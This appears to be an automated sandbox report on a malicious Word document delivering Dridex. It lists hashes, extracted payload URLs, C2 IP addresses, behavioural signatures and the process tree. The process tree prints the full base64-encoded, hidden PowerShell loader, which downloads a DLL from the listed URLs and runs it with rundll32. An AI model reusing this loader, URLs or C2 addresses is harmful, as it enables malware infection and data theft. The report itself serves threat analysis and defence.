Analysis
-
max time kernel
139s -
max time network
137s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
19-11-2020 12:48
Static task
static1
Behavioral task
behavioral1
Sample
Information-478224510.doc
Resource
win7v20201028
General
-
Target
Information-478224510.doc
-
Size
127KB
-
MD5
bb0198d56eff259292f821cf9777f4ea
-
SHA1
67e6018e71d49acecab8018ec3e31388e5afdb09
-
SHA256
8880aa45619f26fcb4cca6671e7decc6dcf94163344a819a156ed9f5bd414d0b
-
SHA512
26585f0ae9576b40ff6635b464fa1cc3947e549a45f0648b4b754ef3225bb605ff5dd4926483636c85eed595102a57eacff634bef65e83cbd3dd54e823f1907f
Malware Config
Extracted
http://wordpress.abbeytek.com/gb9b076.zip
http://garywhitehead.com/j64cw5.rar
http://test.taphoare.com/j4r7zap.rar
http://deepfreedom.org/qz0h69.pdf
http://forestof.life/gkd9jtb9z.png
https://rockingrenergy.info/b6exhyx4.zip
https://aeromiic.com/l8uvw4.pdf
http://jkra.nl/ce5c6ut.pdf
https://amazedelectrical.com.au/ff2e84tvk.pdf
Extracted
dridex
10555
162.241.44.26:9443
192.232.229.53:4443
77.220.64.34:443
193.90.12.121:3098
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2624 3368 cmd.exe -
Processes:
resource yara_rule behavioral2/memory/3336-14-0x0000000004CA0000-0x0000000004CDD000-memory.dmp dridex_ldr -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exerundll32.exeflow pid process 22 2136 powershell.exe 28 3336 rundll32.exe 29 3336 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3336 rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 580 WINWORD.EXE 580 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2136 powershell.exe 2136 powershell.exe 2136 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2136 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 2624 wrote to memory of 1336 2624 cmd.exe msg.exe PID 2624 wrote to memory of 1336 2624 cmd.exe msg.exe PID 2624 wrote to memory of 2136 2624 cmd.exe powershell.exe PID 2624 wrote to memory of 2136 2624 cmd.exe powershell.exe PID 2136 wrote to memory of 4032 2136 powershell.exe rundll32.exe PID 2136 wrote to memory of 4032 2136 powershell.exe rundll32.exe PID 4032 wrote to memory of 3336 4032 rundll32.exe rundll32.exe PID 4032 wrote to memory of 3336 4032 rundll32.exe rundll32.exe PID 4032 wrote to memory of 3336 4032 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-478224510.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAoACcAbwBRACcAKwAnACkAJwApACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBkAGQAKQAoACcAKwAnAGIAJwApACkAKwAoACcANgAnACsAJwBlAHgAaAAnACsAJwB5AHgANAAnACkAKwAoACcALgAnACsAJwB6AGkAJwApACsAKAAnAHAAJwArACcAQABoACcAKQArACcAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAnACkAJwArACcAKAAnACsAKAAoACcAUQAnACsAJwApACgAJwApACkAKwAnAHEAZAAnACsAKAAoACcAZAAnACsAJwApACgAYQBlACcAKwAnAHIAbwBtAGkAJwApACkAKwAnAGkAJwArACcAYwAnACsAJwAuAGMAJwArACgAKAAnAG8AJwArACcAbQBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZABkACcAKwAnACkAKABsADgAdQAnACkAKQArACgAJwB2AHcAJwArACcANAAnACkAKwAnAC4AcAAnACsAJwBkAGYAJwArACcAQAAnACsAJwBoAHQAJwArACgAKAAnAHQAcAA6AFEAKQAoAHEAZABkACkAKABRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAGoAJwArACcAawAnACsAKAAoACcAcgBhACcAKwAnAC4AbgAnACsAJwBsAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKABjACcAKQApACsAKAAnAGUANQBjACcAKwAnADYAJwArACcAdQB0ACcAKQArACcALgAnACsAKAAnAHAAJwArACcAZABmAEAAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACgAJwBzADoAJwArACcAUQApACgAcQBkAGQAKQAoAFEAKQAnACsAJwAoAHEAJwApACkAKwAnAGQAZAAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGEAbQAnACsAJwBhAHoAJwApACsAKAAnAGUAZABlAGwAZQAnACsAJwBjACcAKwAnAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwAuAGEAdQAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACcAKQApACsAKAAoACcAKQAoAGYAZgAnACsAJwAyACcAKQApACsAKAAnAGUAOAA0ACcAKwAnAHQAdgAnACkAKwAnAGsALgAnACsAJwBwAGQAJwArACcAZgAnACkAKQAuACIAUgBFAFAAYABMAEEAYABDAGUAIgAoACgAKAAoACgAJwBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABMAGAAaQBUACIAKAAkAEoAYwB4ADIANQB0ADcAIAArACAAJABUAHcAbwA1AHoAdQBjACAAKwAgACQAUQAyAHUAdgBjAGwAcgApADsAJABFAGQAcAAxAHcAYQBtAD0AKAAnAFkAawAnACsAKAAnAG8AJwArACcAbQAxAGkAJwApACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA0AHMAdwBoAHIAegAgAGkAbgAgACQAWgB4AGkAawBqAHMAaAAgAHwAIABTAG8AcgBgAFQALQBvAGAAQgBqAGAAZQBDAFQAIAB7AGcARQBUAC0AYABSAEEATgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABRAHEAcQBsAGgAZQA5AC4AIgBkAG8AVwBOAGwAbwBgAEEARABmAGkAYABMAGUAIgAoACQAQQA0AHMAdwBoAHIAegAsACAAJABTAG8AMgB2ADMAYgBoACkAOwAkAEkAcgByAHoAMAAwAHoAPQAoACgAJwBWADAAJwArACcAaAA5AHAAJwArACcAdAAnACkAKwAnADkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbwAyAHYAMwBiAGgAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADYANgA2ADEAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAJwArACcAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABTAG8AMgB2ADMAYgBoACwAMAA7ACQARQAxAGsAaQAzAHAAbQA9ACgAKAAnAFoANQB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcANQBwACcAKQApADsAYgByAGUAYQBrADsAJABMAGoAdgA2ADMAZQBpAD0AKAAoACcAWAA4ACcAKwAnAHkAJwApACsAJwA1AHAAJwArACcAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBqAHQAcwBvADYAdQA9ACgAKAAnAEQAXwBfACcAKwAnAGYAZgAnACkAKwAnAHAAJwArACcAagAnACkA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAoACcAbwBRACcAKwAnACkAJwApACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBkAGQAKQAoACcAKwAnAGIAJwApACkAKwAoACcANgAnACsAJwBlAHgAaAAnACsAJwB5AHgANAAnACkAKwAoACcALgAnACsAJwB6AGkAJwApACsAKAAnAHAAJwArACcAQABoACcAKQArACcAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAnACkAJwArACcAKAAnACsAKAAoACcAUQAnACsAJwApACgAJwApACkAKwAnAHEAZAAnACsAKAAoACcAZAAnACsAJwApACgAYQBlACcAKwAnAHIAbwBtAGkAJwApACkAKwAnAGkAJwArACcAYwAnACsAJwAuAGMAJwArACgAKAAnAG8AJwArACcAbQBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZABkACcAKwAnACkAKABsADgAdQAnACkAKQArACgAJwB2AHcAJwArACcANAAnACkAKwAnAC4AcAAnACsAJwBkAGYAJwArACcAQAAnACsAJwBoAHQAJwArACgAKAAnAHQAcAA6AFEAKQAoAHEAZABkACkAKABRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAGoAJwArACcAawAnACsAKAAoACcAcgBhACcAKwAnAC4AbgAnACsAJwBsAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKABjACcAKQApACsAKAAnAGUANQBjACcAKwAnADYAJwArACcAdQB0ACcAKQArACcALgAnACsAKAAnAHAAJwArACcAZABmAEAAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACgAJwBzADoAJwArACcAUQApACgAcQBkAGQAKQAoAFEAKQAnACsAJwAoAHEAJwApACkAKwAnAGQAZAAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGEAbQAnACsAJwBhAHoAJwApACsAKAAnAGUAZABlAGwAZQAnACsAJwBjACcAKwAnAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwAuAGEAdQAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACcAKQApACsAKAAoACcAKQAoAGYAZgAnACsAJwAyACcAKQApACsAKAAnAGUAOAA0ACcAKwAnAHQAdgAnACkAKwAnAGsALgAnACsAJwBwAGQAJwArACcAZgAnACkAKQAuACIAUgBFAFAAYABMAEEAYABDAGUAIgAoACgAKAAoACgAJwBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBl